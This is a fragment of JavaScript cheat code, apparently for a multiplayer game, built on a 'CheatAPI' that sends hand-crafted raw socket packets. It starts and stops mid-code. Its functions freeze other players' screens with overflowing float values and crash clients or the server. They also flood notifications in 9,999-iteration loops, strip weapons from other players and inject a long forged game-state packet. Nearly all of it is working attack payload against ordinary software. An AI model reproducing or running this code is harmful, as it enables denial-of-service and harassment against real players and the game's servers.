  CheatAPI.SEND_SOCKET(243,2,37,0,15,115,98,1,23,105,0,1,39,58,245,68,0,0,0,3,98,1,102,62,128,0,0,98,2,98,21,98,3,105,39,218,111,89,20,105,0,0,0,0,39,111,1,24,102,0,0,0,0,25,102,65,32,0,0,26,102,0,0,0,0,27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,63,128,0,0,31,102,62,128,0,0,32,102,62,128,0,0,33,102,62,128,0,0)*/
FREEZE_SCREEN:function(WOID){
    CheatAPI.SEND_SOCKET(243,2,27,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,14,5,2,...CheatAPI.FUNCTIONS.TO_FLOAT_32(99999999999999999*9999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999),0,0,0,0,...toFloat(99999999999999*9999999999999*9999999999999999999999999999999999999999999999999999999999999999),0,0,0,0,...toFloat(99999999999999*9999999999999*99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999*9*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999*99999999999999999999999999999999),0,0,0,0,0)},

LEVEL_NOTI: function(LEVEL_ID){
            CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,8,200,68,0,0,0,2,98,4,105,0,0,0,/**/LEVEL_ID/**/,98,12,115,0,5,112,116, 95,66,82)
        },
LEVEL_NOTI2: function(LEVEL_ID){
           {for(var lag = 0; lag < 9999; lag++){ CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,8,200,68,0,0,0,2,98,4,105,0,0,0,/**/LEVEL_ID/**/,98,12,115,0,5,112,116, 95,66,82)
        }}},
KILL_NOTI: function(KILL_ID){
           CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,1,200,68,0,0,0,3,98,7,105,0,0,0,1,98,6,105,0,0,0,1,98,8,98,KILL_ID)
        },
KILL_NOTI2: function(KILL_ID){
           for(var lag = 0; lag < 9999; lag++){
           CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,1,200,68,0,0,0,3,98,7,105,0,0,0,1,98,6,105,0,0,0,1,98,8,98,KILL_ID)
                                              }},
TEXT_NOTI: function(MESSAGE){
    let encodedMessage = CheatAPI.FUNCTIONS.ENCODE_TEXT(MESSAGE)
           CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,15,200,68,0,0,0,3,98,7,105,0,0,0,1,98,6,105,0,0,0,1,98,8,98,encodedMessage.length,encodedMessage)
        },
CRASH_NOTI: function(NOTI_ID){
            CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,NOTI_ID,200,68,0,0,0,2,98,4,105,0,0,0,/**/45/**/,98,12,115,0,5,112,116, 95,66,82)
        },
CRASH_NOTI2: function(NOTI_ID){                //0,3,160,105,0,0,0,60
    {for(var lag = 0; lag < 9999; lag++){ CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,NOTI_ID,200,68,0,0,0,2,98,4,105,0,0,0,/**/45/**/,98,12,115,0,5,112,116, 95,66,82)
        }}},
CRASH_NOTI3: function(FLAG){
    let encodedMessage = CheatAPI.FUNCTIONS.ENCODE_TEXT(MESSAGE)
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,31,200,68,0,0,0,1,98,4,115,0,27,108,111,110,103,32,116,101,120,116,32,104,101,114,101,32,97,115,32,117,32,99,97,110,32,115,101,101,254,105,0,0,0,2)}
            else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,31,200,68,0,0,0,1,98,4,115,0,27,108,111,110,103,32,116,101,120,116,32,104,101,114,101,32,97,115,32,117,32,99,97,110,32,115,101,101,254,105,0,0,0,2)}
            else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,31,200,68,0,0,0,1,98,4,115,0,27,108,111,110,103,32,116,101,120,116,32,104,101,114,101,32,97,115,32,117,32,99,97,110,32,115,101,101,254,105,0,0,0,2)
                CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,31,200,68,0,0,0,1,98,4,115,0,27,108,111,110,103,32,116,101,120,116,32,104,101,114,101,32,97,115,32,117,32,99,97,110,32,115,101,101,254,105,0,0,0,2)}

        },
        JOINED_NOTI: function(FLAG){
FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
     CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,3,200,68,0,0,0,2,98,9,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,12,115,0,5,101,110,95,85,83)
             }else if(FLAG == "SERVER"){
     CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,3,200,68,0,0,0,2,98,9,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,12,115,0,5,101,110,95,85,83,254,105,0,0,0,0)
             }else if(FLAG == "BOTH"){
     CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,3,200,68,0,0,0,2,98,9,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,12,115,0,5,101,110,95,85,83)
     CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,3,200,68,0,0,0,2,98,9,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,12,115,0,5,101,110,95,85,83,254,105,0,0,0,0)
             }
        },
                        LOVE_NO: function(prise,type,FLAG){
     FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
     CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,9,200,68,0,0,0,4,98,4,105,0,0,0,prise,98,5,105,0,0,0,type,98,9,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,11,98,4)
             }else if(FLAG == "SERVER"){
    CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,9,200,68,0,0,0,4,98,4,105,0,0,0,prise,98,5,105,0,0,0,type,98,9,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,11,98,4,254,105,0,0,0,0)
             }else if(FLAG == "BOTH"){
    CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,9,200,68,0,0,0,4,98,4,105,0,0,0,prise,98,5,105,0,0,0,type,98,9,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,11,98,4)
    CheatAPI.SEND_SOCKET(243,4,57,0,3,199,105,0,0,0,9,200,68,0,0,0,4,98,4,105,0,0,0,prise,98,5,105,0,0,0,type,98,9,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),98,11,98,4,254,105,0,0,0,0)
             }
        },
                        NO_OBJECT_RESPAWN:function(WOID) {
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID))
                        },
                NO_WEAPONS_WAR4_TEAMG:function(WOID) {
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,90,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,220,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,87,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,83,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,81,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,80,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,82,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,85,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,88,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,91,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*mouseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,209,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*ImpulseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,243,196,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
        },
                        NO_WEAPONS_WAR4_TEAMB:function(WOID) {
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,95,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,97,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,99,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,102,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,106,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,224,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,94,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,101,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,96,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*ImpulseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,243,200,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*mousegun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,204,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
        },
                        NO_WEAPONS_WAR4_TEAMY:function(WOID) {
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,107,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,109,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,112,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,115,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,117,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,222,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,114,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,118,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,110,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,108,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*mouseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,206,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*ImpulseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,243,199,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
        },
                        NO_WEAPONS_WAR4_TEAMR:function(WOID) {
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,69,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,73,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,75,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,79,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,93,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,92,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,255,221,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,77,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,71,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,70,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*mouseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,208,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
/*ImpulseGun*/CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,243,198,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID))
        },






                WAR4_CONFIGURATION:function() {
  CheatAPI.SEND_SOCKET(243,4,62,0,3,245,120,0,0,7,189,0,0,1,64,196,0,0,193,24,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,9,0,0,0,0,0,0,3,243,48,0,3,243,46,0,0,1,151,0,0,0,1,64,200,0,0,193,22,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,10,0,0,0,0,0,0,3,243,49,0,3,243,46,0,0,1,152,0,0,0,1,64,200,255,252,193,22,0,197,194,79,64,0,0,0,0,0,63,128,0,0,0,0,0,0,178,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,11,0,0,0,0,0,0,3,243,50,0,3,243,46,0,0,1,153,0,0,0,1,64,196,0,0,193,20,0,66,194,79,64,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,12,0,0,0,0,0,0,3,243,51,0,3,243,46,0,0,1,154,0,0,0,1,64,196,0,0,193,24,0,66,194,79,64,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,13,0,0,0,0,0,0,3,243,52,0,3,243,46,0,0,1,152,0,0,0,1,64,205,0,0,193,22,0,197,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,14,0,0,0,0,0,0,3,243,53,0,3,243,46,0,0,1,153,0,0,0,1,64,196,0,0,193,20,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,15,0,0,0,0,0,0,3,243,54,0,3,243,46,0,0,1,150,0,0,0,1,64,199,0,0,193,22,0,197,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,16,0,0,0,0,0,0,3,243,25,0,1,39,58,255,255,255,255,0,0,0,0,194,235,127,255,65,99,4,25,194,132,128,1,0,0,0,0,63,53,4,243,0,0,0,0,63,53,4,243,63,128,0,0,63,128,0,0,63,128,0,0,0,0,0,0,1,0,0,0,5,0,0,0,17,6,104,101,97,108,116,104,2,66,200,0,0,9,109,97,120,72,101,97,108,116,104,0,0,0,0,100,6,115,104,105,101,108,100,2,0,0,0,0,8,105,115,70,105,114,105,110,103,5,0,9,109,111,100,105,102,105,101,114,115,8,0,0,0,0,11,99,117,114,114,101,110,116,73,116,101,109,8,0,0,0,3,4,116,121,112,101,0,0,0,0,5,9,118,97,114,105,97,110,116,73,100,0,0,0,0,0,15,117,112,100,97,116,101,73,116,101,109,83,116,97,116,101,0,0,0,0,4,10,108,105,110,101,79,102,70,105,114,101,8,0,0,0,0,12,105,110,118,117,108,110,101,114,97,98,108,101,5,0,4,115,101,97,116,0,255,255,255,255,17,115,112,97,119,110,82,111,108,101,77,111,100,101,84,121,112,101,0,0,0,0,4,15,104,101,97,100,82,111,116,97,116,105,111,110,89,97,119,2,67,157,128,0,17,104,101,97,100,82,111,116,97,116,105,111,110,80,105,116,99,104,2,67,162,94,34,16,112,111,105,110,116,82,111,116,97,116,105,111,110,89,97,119,2,0,0,0,0,18,112,111,105,110,116,82,111,116,97,116,105,111,110,80,105,116,99,104,2,0,0,0,0,4,115,105,122,101,2,63,128,0,0,5,101,109,111,116,101,0,0,0,0,0,9,97,110,105,109,97,116,105,111,110,8,0,0,0,2,5,115,116,97,116,101,7,4,73,100,108,101,9,116,105,109,101,83,116,97,109,112,0,87,65,24,15,0,3,243,26,0,3,243,25,255,255,255,255,0,0,0,45,0,0,0,0,60,245,194,143,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,63,128,0,0,63,128,0,0,63,128,0,0,0,0,0,1,13,66,108,117,101,112,114,105,110,116,68,97,116,97,8,0,0,0,3,11,67,104,105,108,100,114,101,110,77,97,112,8,0,0,0,8,4,76,65,114,109,0,0,3,243,32,4,72,101,97,100,0,0,3,243,34,5,84,111,114,115,111,0,0,3,243,28,7,76,76,111,119,76,101,103,0,0,3,243,27,6,76,85,112,76,101,103,0,0,3,243,33,4,82,65,114,109,0,0,3,243,29,6,82,85,112,76,101,103,0,0,3,243,30,7,82,76,111,119,76,101,103,0,0,3,243,31,14,67,108,105,101,110,116,83,105,100,101,84,121,112,101,9,8,1,52,8,0,0,0,0,1,0,0,0,5,0,0,0,0,0,3,243,27,0,3,243,26,0,0,1,154,0,0,0,1,64,196,0,0,193,24,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,249,0,0,0,0,0,0,3,243,28,0,3,243,26,0,0,1,151,0,0,0,1,64,200,0,0,193,22,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,250,0,0,0,0,0,0,3,243,29,0,3,243,26,0,0,1,152,0,0,0,1,64,200,255,252,193,22,0,197,194,79,64,0,0,0,0,0,63,128,0,0,0,0,0,0,178,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,251,0,0,0,0,0,0,3,243,30,0,3,243,26,0,0,1,153,0,0,0,1,64,196,0,0,193,20,0,66,194,79,64,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,252,0,0,0,0,0,0,3,243,31,0,3,243,26,0,0,1,154,0,0,0,1,64,196,0,0,193,24,0,66,194,79,64,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,253,0,0,0,0,0,0,3,243,32,0,3,243,26,0,0,1,152,0,0,0,1,64,205,0,0,193,22,0,197,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,254,0,0,0,0,0,0,3,243,33,0,3,243,26,0,0,1,153,0,0,0,1,64,196,0,0,193,20,0,66,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,5,255,0,0,0,0,0,0,3,243,34,0,3,243,26,0,0,1,150,0,0,0,1,64,199,0,0,193,22,0,197,194,80,192,0,0,0,0,0,0,0,0,0,0,0,0,0,63,128,0,0,62,0,0,0,62,0,0,0,62,0,0,0,0,0,0,1,11,112,114,111,116,111,84,121,112,101,73,68,0,0,0,6,0,0,0,0,0,0,0,0,0,2,0,0,0,1,0,3,242,238,0,3,242,237,0,0,0,2,0,3,242,235,0,3,242,238,0,0,0,1,0,0,0,1,0,3,242,237,0,3,242,99,0,0,0,0,100,111,0,133,98,0)
// CheatAPI.SEND_SOCKET(243,4,62,0,3,245,120,0,0,19,136,255,244,0,1,255,209,7,15,255,244,0,1,255,210,7,15,255,244,0,1,255,211,7,15,255,244,0,1,255,212,7,15,255,244,0,1,255,213,7,15,255,244,0,1,255,214,7,15,255,244,0,1,255,215,7,15,255,244,0,1,255,216,7,15,255,244,0,1,255,217,7,15,255,244,0,1,255,218,7,15,255,244,0,1,255,219,7,15,255,244,0,1,255,220,7,15,255,244,0,1,255,221,23,15,255,244,0,1,255,222,23,15,255,244,0,2,255,222,7,15,255,244,0,2,255,221,7,15,255,244,0,2,255,220,7,15,255,244,0,2,255,219,7,15,255,244,0,2,255,218,7,15,255,244,0,2,255,217,7,15,255,244,0,2,255,216,7,15,255,244,0,2,255,215,7,15,255,244,0,2,255,214,7,15,255,244,0,2,255,213,7,15,255,244,0,2,255,212,7,15,255,244,0,2,255,211,7,15,255,244,0,2,255,210,7,15,255,244,0,2,255,209,7,15,255,244,0,2,255,208,7,15,255,244,0,2,255,207,7,15,255,244,0,3,255,207,7,15,255,244,0,3,255,208,7,15,255,244,0,3,255,209,7,15,255,244,0,3,255,210,7,15,255,244,0,3,255,211,7,15,255,244,0,3,255,212,7,15,255,244,0,3,255,213,7,15,255,244,0,3,255,214,7,15,255,244,0,3,255,215,7,15,255,244,0,3,255,216,7,15,255,244,0,3,255,217,7,15,255,244,0,3,255,218,7,15,255,244,0,3,255,219,7,15,255,244,0,3,255,220,7,15,255,244,0,3,255,221,7,15,255,244,0,3,255,222,7,15,255,244,0,4,255,222,39,15,255,244,0,4,255,221,11,15,255,244,0,4,255,220,11,15,255,244,0,4,255,219,11,15,255,244,0,4,255,218,11,15,255,244,0,4,255,217,11,15,255,244,0,4,255,216,11,15,255,244,0,4,255,215,11,15,255,244,0,4,255,214,11,15,255,244,0,4,255,213,11,15,255,244,0,4,255,212,11,15,255,244,0,4,255,211,11,15,255,244,0,4,255,210,11,15,255,244,0,4,255,209,11,15,255,244,0,4,255,208,11,15,255,244,0,4,255,207,11,15,0,8,0,1,255,207,7,15,0,8,0,1,255,208,7,15,0,8,0,1,255,209,7,15,0,8,0,1,255,210,7,15,0,8,0,1,255,211,7,15,0,8,0,1,255,212,7,15,0,8,0,1,255,213,7,15,0,8,0,1,255,214,7,15,0,8,0,1,255,215,7,15,0,8,0,1,255,216,7,15,0,8,0,1,255,217,7,15,0,8,0,1,255,218,7,15,0,8,0,1,255,219,7,15,0,8,0,1,255,220,7,15,0,8,0,2,255,207,7,15,0,8,0,2,255,208,7,15,0,8,0,2,255,209,7,15,0,8,0,2,255,210,7,15,0,8,0,2,255,211,7,15,0,8,0,2,255,212,7,15,0,8,0,2,255,213,7,15,0,8,0,2,255,214,7,15,0,8,0,2,255,215,7,15,0,8,0,2,255,216,7,15,0,8,0,2,255,217,7,15,0,8,0,2,255,218,7,15,0,8,0,2,255,219,7,15,0,8,0,2,255,220,7,15,0,8,0,2,255,221,7,15,0,8,0,2,255,222,7,15,0,8,0,3,255,207,7,15,0,8,0,3,255,208,7,15,0,8,0,3,255,209,7,15,0,8,0,3,255,210,7,15,0,8,0,3,255,211,7,15,0,8,0,3,255,212,7,15,0,8,0,3,255,213,7,15,0,8,0,3,255,214,7,15,0,8,0,3,255,215,7,15,0,8,0,3,255,216,7,15,0,8,0,3,255,217,7,15,0,8,0,3,255,218,7,15,0,8,0,3,255,219,7,15,0,8,0,3,255,220,7,15,0,8,0,3,255,221,7,15,0,8,0,3,255,222,7,15,0,7,0,1,255,237,39,7,0,7,0,2,255,237,39,7,0,7,0,3,255,237,39,7,0,7,0,4,255,237,43,7,0,7,0,1,255,243,39,7,0,7,0,2,255,243,39,7,0,7,0,3,255,243,39,7,0,7,0,4,255,243,43,7,0,15,0,1,255,230,75,7,0,15,0,2,255,230,75,7,0,15,0,3,255,230,75,7,0,15,0,4,255,230,75,7,0,15,0,1,255,236,7,7,0,15,0,1,255,235,7,7,0,15,0,1,255,234,15,7,0,15,0,1,255,233,15,7,0,15,0,1,255,232,15,7,0,15,0,1,255,231,15,7,0,15,0,2,255,236,7,7,0,15,0,2,255,235,7,7,0,15,0,2,255,234,7,7,0,15,0,2,255,233,7,7,0,15,0,2,255,232,7,7,0,15,0,2,255,231,7,7,0,15,0,3,255,236,7,7,0,15,0,3,255,235,7,7,0,15,0,3,255,234,7,7,0,15,0,3,255,233,7,7,0,15,0,3,255,232,7,7,0,15,0,3,255,231,7,7,0,15,0,4,255,236,11,7,0,15,0,4,255,235,11,7,0,15,0,4,255,234,11,7,0,15,0,4,255,233,11,7,0,15,0,4,255,232,11,7,0,15,0,4,255,231,75,7,0,7,0,5,255,243,7,7,0,9,0,5,255,243,7,7,0,11,0,5,255,243,7,7,0,13,0,5,255,243,7,7,0,15,0,5,255,243,7,7,0,7,0,5,255,237,7,7,0,9,0,5,255,237,7,7,0,11,0,5,255,237,7,7,0,13,0,5,255,237,7,7,0,15,0,5,255,237,7,7,0,32,0,1,255,231,7,7,0,32,0,1,255,232,7,7,0,32,0,1,255,233,7,7,0,32,0,1,255,234,7,7,0,32,0,1,255,23